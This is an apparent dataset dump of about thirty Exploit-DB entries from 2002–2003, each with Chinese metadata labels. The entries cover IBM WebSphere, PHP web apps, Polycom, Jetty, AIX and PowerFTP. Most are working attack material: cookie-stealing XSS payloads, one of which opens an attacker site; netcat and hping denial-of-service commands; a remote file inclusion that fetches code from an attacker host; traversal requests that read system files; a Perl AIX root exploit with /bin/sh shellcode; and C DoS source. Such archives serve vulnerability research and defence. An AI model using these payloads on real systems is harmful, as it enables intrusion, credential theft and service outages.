QLWD/code_shield huggingface dataset:
标题: IBM Websphere Edge Server 3.6/4.0 - Cross-Site Scripting EDB-ID: 21947 CVE: 2002-1167 类型: REMOTE 平台: UNIX 发布日期: 2002-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/6000/info

A vulnerability has been discoverered in the Caching Proxy component bundled with the IBM Websphere Edge Server.

It has been reported that the Caching Proxy is vulnerable to cross site scripting attacks. Due to insufficient sanitization of user-supplied input it is possible for an attacker to construct a malicious link which contains arbitrary HTML and script code, which will be executed in the web client of a user who visits the malicious link.

Attacks of this nature may make it possible for attackers to steal cookie-based authentication credentials.

Request the following path from the caching proxy server:

/"><img%20src="javascript:alert(document.domain)"> URL: https://www.exploit-db.com/exploits/21947
标题: TelCondex SimpleWebserver 2.0.6 - Denial of Service EDB-ID: 21938 CVE: 2002-1907 类型: DOS 平台: WINDOWS 发布日期: 2002-10-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/5961/info

A problem with SimpleWebServer could make it possible for a user to deny service to legitimate users of the server.

It has been reported that SimpleWebServer does not properly handle long requests. Because of this, a remote attacker placing a HTTP request of excessive length could cause the server to become unstable. In most cases, a long request causes the web server to crash, requiring a manual restart of the service.

http://<server>/AAA[...]AAA URL: https://www.exploit-db.com/exploits/21938
标题: My Web Server 1.0.1/1.0.2 - GET Denial of Service EDB-ID: 21935 CVE: 2002-1897 类型: DOS 平台: WINDOWS 发布日期: 2002-10-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/5954/info

My Web Server is a web server software package distributed and maintained by MyWebServer LLC. It is designed for the Microsoft Windows operating system.

It has been reported that My Web Server does not properly handle long requests. Because of this, a remote user placing a HTTP GET request of excessive length could cause the server to become unstable. In most cases, a long GET request causes the web server to crash, requiring a manual restart of the service. 

http://www.example.com/AAA...(approx. Ax994)...AAA URL: https://www.exploit-db.com/exploits/21935
标题: PHPRank 1.8 - 'add.php' Cross-Site Scripting EDB-ID: 21933 CVE: 2002-1799 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/5945/info

phpRank is a freely available web site link sharing script. It is available for Unix, Linux, and Microsoft operating systems.

It has been reported that phpRank is vulnerable to cross-site scripting attacks. Under some circumstances, it is possible to force the rendering of arbitrary HTML and script code through the add.php portion of the phpRank package. This could allow the execution of potentially malicious script and HTML in the security context of a vulnerable site. 

http://example.com/phprank/add.php?page=add&spass=1&name=2&siteurl=3&email=%3Cscript%3Ealert(42)%3C/script%3E URL: https://www.exploit-db.com/exploits/21933
标题: Microsoft Internet Explorer 5/6 - Unauthorized Document Object Model Access EDB-ID: 21940 CVE: 2002-1217 类型: REMOTE 平台: WINDOWS 发布日期: 2002-10-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/5963/info

Microsoft Internet Explorer (MSIE) is prone to a vulnerability that may enable a frame or iframe to gain unauthorized access to the Document Object Model (DOM) of other frames/iframes in a different domain. This is possible because MSIE does not perform adequate access control checks on all frame properties. While access to the 'document' property across domains is properly restricted, access to 'Document' is not. This may allow an attacker to violate the browser Same Origin Policy and gain unauthorized access to the properties of frames and iframes that are in a different domain. 

<script language="jscript">
onload=function () {
Â Â Â Â // Timer necessary to prevent weird behavior in some conditions
Â Â Â Â setTimeout(
Â Â Â Â Â Â Â Â function () {
Â Â Â Â Â Â Â Â Â Â Â Â alert(document.getElementById("oVictim").Document.cookie);
Â Â Â Â Â Â Â Â },
Â Â Â Â Â Â Â Â 100
Â Â Â Â );
}
</script>
<iframe src="http://example.com" id="oVictim"></iframe> URL: https://www.exploit-db.com/exploits/21940
标题: PHPBBMod 1.3.3 - PHPInfo Information Disclosure EDB-ID: 21931 CVE: 2002-2349 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/5942/info

phpBBmod ships with a sample script (phpinfo.php) that may disclosure sensitive information to remote attackers. When this script is accessed, sensitive information about the underlying environment will be revealed.

This issue was reported in phpBBmod version 1.3.3. Other versions may also be affected. 

http://www.example.com/phpBB/phpinfo.php URL: https://www.exploit-db.com/exploits/21931
标题: Polycom ViaVideo 2.2/3.0 - Denial of Service EDB-ID: 21939 CVE: 2002-1906 类型: DOS 平台: HARDWARE 发布日期: 2002-10-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/5962/info

Polycom ViaVideo devices are prone to a denial of service condition upon receipt of numerous incomplete HTTP requests. This may restrict availability of the device for legitimate users.

The device may need to be restarted to regain normal functionality. 

perl -e 'print "GET " . "/" . " HTTP/1.1\r\n"' | netcat 10.1.3.54 3603 &

Issue the above command four or more times to cause the denial of service condition. URL: https://www.exploit-db.com/exploits/21939
标题: Polycom 2.2/3.0 - ViaVideo Buffer Overflow EDB-ID: 21941 CVE: 2002-1905 类型: DOS 平台: WINDOWS 发布日期: 2002-10-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/5964/info

A buffer overflow vulnerability has been reported for ViaVideo.

An attacker can exploit this vulnerability by issuing excessively long 'GET' requests to ViaVideo devices. This will cause an error in the 'vvws.dll' library and will cause the ViaVideo service to crash.

Although unconfirmed, it may be possible for a remote attacker to exploit this issue to execute arbitrary system commands with the privileges of the ViaVideo process. 

perl -e 'print "GET " . "A" x 4132 . " HTTP/1.0\r\n\r\n";' | netcat 10.1.0.1 3603 URL: https://www.exploit-db.com/exploits/21941
标题: KDE 3.0.x - KPF Icon Option File Disclosure EDB-ID: 21934 CVE: 2002-1224 类型: REMOTE 平台: LINUX 发布日期: 2002-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/5951/info

A vulnerability has been discovered in the kpf file sharing utility. KDE is available for the Linux operating system.

It has been reported that by passing a malicious file request to kpf, it is possible for a remote attacker to access files outside of the 'shared directory' root. The ability to read files outside of the shared root directory would be dependent upon the privileges of the kpf process. 

http://127.0.0.1:8001/?icon=/usr/local/kde/share/icons/hicolor/32x32/mimetypes/image.png URL: https://www.exploit-db.com/exploits/21934
标题: Authoria HR Suite - 'AthCGI.exe' Cross-Site Scripting EDB-ID: 21926 CVE: 2002-2348 类型: WEBAPPS 平台: CGI 发布日期: 2002-10-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/5932/info

Authoria HR Suite is prone to cross-site scripting attacks.

An attacker could construct a malicious link to a vulnerable host that contains arbitrary HTML and script code. If this link is visited by a web user, the attacker-supplied code will be rendered in their browser, in the security context of the vulnerable site.

https://www.example.com/path.to/cgi-bin/athcgi.exe?command=showpage&script='],[0,0]];alert('test!');a=[[' URL: https://www.exploit-db.com/exploits/21926
标题: SurfControl SuperScout Email Filter 3.5 - User Credential Disclosure EDB-ID: 21925 CVE: 2002-1530 类型: WEBAPPS 平台: ASP 发布日期: 2002-10-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/5929/info

SurfControl SuperScout Email Filter comes with a web-based interface to provide remote access to administrative facilities.

One of the files (userlist.asp) that comes with the web interface contains a listing of administrative usernames/passwords. Users who can access this file will gain access to authentication credentials for other users.

http://www.example.com/web/usermgr/userlist.asp URL: https://www.exploit-db.com/exploits/21925
标题: SSGBook 1.0 - Image Tag HTML Injection EDB-ID: 21914 CVE: 2002-2339 类型: WEBAPPS 平台: ASP 发布日期: 2002-10-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/5915/info

SSGbook includes codes for allowing users to specify HTML formatting and layout inside of guestbook entries. For example, a user can include an image by including it inside of [image] or [img] tags. However, arbitrary HTML and script code are not sufficiently sanitized within these tags.

As a result, users may include malicious HTML and script code inside of guestbook entries. The attacker-supplied code will be rendered in the web client of a user who views a malicious guestbook entry. 

[image]javascript:{SCRIPT}[/image]

[img=right]javascript:{SCRIPT}[/img=right]

[image=right]javascript:{SCRIPT}[/image=right]

[img=left]javascript:{SCRIPT}[/img=left]

[image=left]javascript:{SCRIPT}[/image=left]

[img]javascript:{SCRIPT}[/img]

[image]javascript:document.location="ss_admin.asp?Mode=Update&Acton=Access&UserName=Pom&Password=turlututu";[/image] URL: https://www.exploit-db.com/exploits/21914
标题: Symantec Norton Personal Firewall 2002/Kaspersky Labs Anti-Hacker 1.0/BlackIce Server Protection 3.5/BlackICE Defender 2.9 - Auto Block Denial of Service EDB-ID: 21915 CVE: 2002-2336 类型: DOS 平台: WINDOWS 发布日期: 2002-10-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/5917/info

A weakness has been reported in some PC Firewall packages that could allow remote denial of service attacks. The problem is in the handling of spoofed traffic.

Under some circumstances, it is possible for remote users to deny service to various sites for users of PC Firewall software. By sending spoofed traffic that could be deemed malicious by the firewall software package, an attacker could effectively limit the sites a system is capable of reaching.

hping -e 13 -d 2 -s 6000 -p 2140 -2 host1.example.com -c 2 -a host2.example.com URL: https://www.exploit-db.com/exploits/21915
标题: Oracle 9i Application Server 9.0.2 Web Cache Administration Tool - Denial of Service EDB-ID: 21911 CVE: 2002-0386 类型: DOS 平台: MULTIPLE 发布日期: 2002-10-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/5902/info

Oracle 9i Application Server (9iAS) allows remote administration via a web access module. This vulnerability affects Oracle 9iAS running on Microsoft Windows.

When a custom request is sent to the Web Administration module, the module may react unpredictably. By sending a malicious custom request to the module, it is possible to cause the administration server to crash. A manual restart of the server is required to resume service.

GET /../ HTTP/1.1
host: hostname
<ENTER>
<ENTER>

GET /example.html/ HTTP/1.1
host: host name
Transfer-Encoding: chunked
<ENTER>
<ENTER> URL: https://www.exploit-db.com/exploits/21911
标题: SurfControl SuperScout Email Filter 3.5 - 'MsgError.asp' Cross-Site Scripting EDB-ID: 21924 CVE: 2002-1529 类型: WEBAPPS 平台: ASP 发布日期: 2002-10-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/5928/info

SurfControl SuperScout Email Filter comes with a web-based interface to provide remote access to administrative facilities.

The web-based admin interface is prone to cross-site scripting attacks.

It is possible to create a link containing malicious HTML and script code to certain pages in the interface. When this link is visited by a web user, the attacker-supplied script code will execute in user's web client in the security context of the web interface.

This may potentially be exploited to steal cookie-based authentication credentials from legitimate users of the interface.

http://www.example.com/web/msgError.asp?Redirect=loginhtm&Reason=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/21924
标题: Microsoft Content Management Server 2001 - Cross-Site Scripting EDB-ID: 21920 CVE: 2003-0002 类型: WEBAPPS 平台: ASP 发布日期: 2002-10-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/5922/info

Microsoft Content Management Server 2001 is reported to be prone to cross-site scripting attacks.

An attacker could construct a malicious link to a vulnerable host that contains arbitrary HTML and script code. If this link is visited by a web user, the attacker-supplied code will be rendered in their browser, in the security context of the vulnerable site.

http://www.example.com/NR/System/Access/ManualLogin.asp?
REASONTXT=&lt;script&gt;alert(document.cookie);window.open
("http://attacker.site.example.com");&lt;/SCRIPT&gt; URL: https://www.exploit-db.com/exploits/21920
标题: Killer Protection 1.0 - Information Disclosure EDB-ID: 21912 CVE: 2002-2335 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/5905/info

The Killer Protection PHP script is prone to an information-disclosure issue. Reportedly, unauthorized users can access sensitive user data by requesting the 'vars.inc' file in a malicious HTTP request.

Exploiting this issue may allow attackers to access sensitive usernames and passwords, which could be used in future attacks.


http://[target]/vars.inc

and

http://[target]/protection.php?mode=display&username=[LOGIN]&password=[PASSWORD] URL: https://www.exploit-db.com/exploits/21912
标题: phpLinkat 0.1 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 21906 CVE: 2002-2321 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/5890/info

Reportedly, phpLinkat is prone to cross site scripting attacks.

An attacker may exploit this vulnerability by enticing a victim user to follow a malicious link containing HTML and script code. The attacker-supplied HTML and script code may be executed on a web client in the context of the site hosting phpLinkat.

Attackers may potentially exploit this issue to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

http://target/showcat.php?catid=<Script>JavaScript:alert('test');</Script>

http://target/addyoursite.php?catid=<Script>JavaScript:alert('test');</Script> URL: https://www.exploit-db.com/exploits/21906
标题: phpMyNewsletter 0.6.10 - Remote File Inclusion EDB-ID: 21905 CVE: 2002-1887 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/5886/info

A vulnerability has been discovered in phpMyNewsLetter.

Reportedly, it is possible to pass an attacker-specified file include location to a CGI paramter of the 'customize.php' script. 

This may allow an attacker to execute arbitrary commands with the privileges of the webserver.

Additionally, an attacker may exploit this problem to view local webserver readable files.

http://[target]/include/customize.php?l=http://[attacker]/code.txt&text=Hello%20World
With in http://[attacker]/code.txt :
<? echo $text; ?>

or
http://[target]/include/customize.php?l=../path/file/to/view URL: https://www.exploit-db.com/exploits/21905
标题: Cooolsoft PowerFTP Server 2.x - Remote Denial of Service (3) EDB-ID: 21909 CVE: 2002-1522 类型: DOS 平台: WINDOWS 发布日期: 2002-10-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/5899/info
  
PowerFTP server is a shareware ftp server available for the Microsoft Windows platform. It is distributed and maintained by Cooolsoft.
  
It has been reported that PowerFTP server does not properly handle long user names. When excessive data is supplied as an argument to the FTP 'USER' command, the server becomes unstable. Exploitation of this vulnerability typically results in a crash of the server, requiring a manual restart to resume FTP service. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21909.tgz URL: https://www.exploit-db.com/exploits/21909
标题: IBM AIX 4.3.x/5.1 - 'ERRPT' Local Buffer Overflow EDB-ID: 21904 CVE: 2002-1468 类型: LOCAL 平台: AIX 发布日期: 2003-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/5885/info

The IBM AIX errpt command is prone to a locally exploitable buffer overflow condition. It is possible to exploit this condition to execute arbitrary attacker-supplied instructions with root privileges.

#!/usr/bin/perl
# FileName: x_errpt_aix5.pl
# Exploit command errpt for Aix5L to get a root shell.
# Tested  : on Aix5.1
# Author  : watercloud@xfocus.org
# Site    : www.xfocus.org   www.xfocus.net
# Date    : 2003-4-16
# Announce: use as your owner risk!

$BUFF="A". "\x7c\xa5\x2a\x79"x500;

#shellcode from lsd-pl and modified by watercloud 2003-4 for Aix5L
$BUFF.="\x7e\x94\xa2\x79\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40";
$BUFF.="\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
$BUFF.="\x4c\xc6\x33\x42\x44\xff\xff\x02\xb6\x05\xff\xff\x7e\x94\xa2\x79";
$BUFF.="\x7e\x84\xa3\x78\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40";
$BUFF.="\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
$BUFF.="\x4c\xc6\x33\x42\x44\xff\xff\x02\xb7\x05\xff\xff\x38\x75\xff\x04";
$BUFF.="\x38\x95\xff\x0c\x7e\x85\xa3\x78\x90\x75\xff\x0c\x92\x95\xff\x10";
$BUFF.="\x88\x55\xfe\xe1\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh";

%ENV=(); $ENV{CC}=$BUFF;

exec "/usr/bin/errpt","-T","A"."\x2f\xf2\x2a\x40"x1320;
#EOF URL: https://www.exploit-db.com/exploits/21904
标题: SurfControl SuperScout WebFilter for Windows 2000 - SQL Injection EDB-ID: 21898 CVE: 2002-0709 类型: REMOTE 平台: WINDOWS 发布日期: 2002-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/5859/info

SurfControl SuperScout WebFilter Reports Server is prone to SQL injection attacks. This issue is due to insufficient input validation on the part of some of the reports files, which are implemented as .dlls.

As a consequence, remote attackers are able to modify the logic of SQL queries. This may result in database corruption or disclosure of sensitive information.

http://reports-server:8888/SimpleBar.dll/RunReport ?...<various parameters> URL: https://www.exploit-db.com/exploits/21898
标题: MySimpleNews 1.0 - PHP Injection EDB-ID: 21900 CVE: 2002-2319 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/5865/info

MySimpleNews allows users to enter news articles through a web interface. It will allow PHP code to be injected into URI parameters of the 'users.php' script, which will be stored into a MySimpleNews file (news.php3). The injected code may then be executed by the attacker by requesting the 'news.php3' script.

http://[target]/users.php?LOGIN=[PHP code]

http://[target]/users.php?DATA=[PHP code]

http://[target]/users.php?MESS=[PHP code]

PHP code injected in this manner can be executed with the following request:

http://[target]/news.php3 URL: https://www.exploit-db.com/exploits/21900
标题: Jetty 3.1.6/3.1.7/4.1 Servlet Engine - Arbitrary Command Execution EDB-ID: 21895 CVE: 2002-1178 类型: WEBAPPS 平台: CGI 发布日期: 2002-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/5852/info

A flaw in the CGIServlet in Jetty allows an attacker to execute arbitrary commands on the server. Specifically, it is possible for an attacker to use directory traversal sequences and cause the CGIServlet to execute attacker-specified commands (such as running executables on the host).

This vulnerability affects Jetty versions for Microsoft Windows prior to 4.1.0.

http://jetty-server:8080/cgi-bin/..\..\..\..\..\..\winnt/notepad.exe URL: https://www.exploit-db.com/exploits/21895
标题: MySimpleNews 1.0 - Remote Readable Administrator Password EDB-ID: 21901 CVE: 2002-2143 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/5866/info

MySimpleNews stores the administrative password in clear text in a remotely viewable HTML file.

Any remote user can view the contents of the HTML file to determine the administrator password.

The administrator password can be found in the HTML code for admin.html below:
moncode = prompt('MySimpleNews - Administration','');
if (moncode != "[ADMINPASSWORD]")
{
location.href="about:Erreur 403";
} URL: https://www.exploit-db.com/exploits/21901
标题: SurfControl SuperScout WebFilter for Windows 2000 - File Disclosure EDB-ID: 21897 CVE: 2002-0708 类型: REMOTE 平台: WINDOWS 发布日期: 2002-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/5857/info

SurfControl SuperScout WebFilter Reports Server is prone to a vulnerability which may allow remote attackers to disclose the contents of arbitrary files.

The Reports Server does not sufficiently filter triple-dot-slash (.../) sequences from web requests. As a result, an attacker may break out of the root directory for the reporting service and browse the filesystem at large, disclosing arbitrary files that are readable by the Reports Server.

http://reports-server:8888/.../.../.../.../.../.../.../winnt/win.ini URL: https://www.exploit-db.com/exploits/21897
标题: Midicart PHP - Arbitrary File Upload EDB-ID: 21896 CVE: 2002-1798 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/5855/info

A problem with the default installation of Midicart PHP may make it possible for remote users to gain access to sensitive information.

The default installation of Midicart PHP does not place sufficient access control on files residing in the 'admin' folder. Due to this lack of access control, it is possible for a remote attacker to gain access to this file and upload arbitrary files to a vulnerable system.

http://<site>/admin/upload.php URL: https://www.exploit-db.com/exploits/21896
标题: phpWebSite 0.8.3 - 'article.php' Cross-Site Scripting EDB-ID: 21899 CVE: 2002-2178 类型: WEBAPPS 平台: PHP 发布日期: 2002-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/5864/info

phpWebSite is prone to cross-site scripting attacks.

This vulnerability is due to insufficient sanitization of HTML tags from URI parameters processed by the 'article.php' script. As a result, an attacker may construct a malicious link to this script which contains arbitrary HTML and script code.

When the malicious link is visited by a web user, the attacker-supplied code will be executed by their web client in the context of the site hosting the vulnerable software.

http://target/article.php?sid="><Img Src=javascript:alert(document.cookie)><Img Src=" URL: https://www.exploit-db.com/exploits/21899
标题: Cooolsoft PowerFTP Server 2.x - Remote Denial of Service (1) EDB-ID: 21907 CVE: 2002-1522 类型: DOS 平台: WINDOWS 发布日期: 2002-10-05 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5899/info

PowerFTP server is a shareware ftp server available for the Microsoft Windows platform. It is distributed and maintained by Cooolsoft.

It has been reported that PowerFTP server does not properly handle long user names. When excessive data is supplied as an argument to the FTP 'USER' command, the server becomes unstable. Exploitation of this vulnerability typically results in a crash of the server, requiring a manual restart to resume FTP service. 

/* Remote DoS Exploit for PowerFTP server (all version) */
/* Coding by Morgan A. member of secureNT-2000 Greetz : */
/* kdm, Yann, GaLiaRepT, and all i've forgotten ;)      */

#include <stdio.h>
#include <winsock.h>
        #pragma comment(lib, "wsock32.lib")

void main()
        {
        WSADATA WSAData;
                WSAStartup(MAKEWORD(2,0), &WSAData);

                SOCKET sock;
                SOCKADDR_IN sin;
                char *buffer = new char[255];

        char ip[50];
        printf ("Remote DoS Exploit for PowerFTP server\n\n");
        printf ("Remote IP: ");
        scanf ("%s", &ip);

        char DoS[3000];
        int i;
        for(i=0;i<strlen(DoS);i++)
        {
        DoS[i]= 'A';
        }

        sock = socket(AF_INET, SOCK_STREAM, 0);

                sin.sin_addr.s_addr                     = inet_addr(ip);
                sin.sin_family                          = AF_INET;
                sin.sin_port                            = htons(21);

                connect(sock, (SOCKADDR *)&sin, sizeof(sin));
                send(sock, DoS, sizeof(DoS), 0);
                closesocket(sock);
                WSACleanup();
        } URL: https://www.exploit-db.com/exploits/21907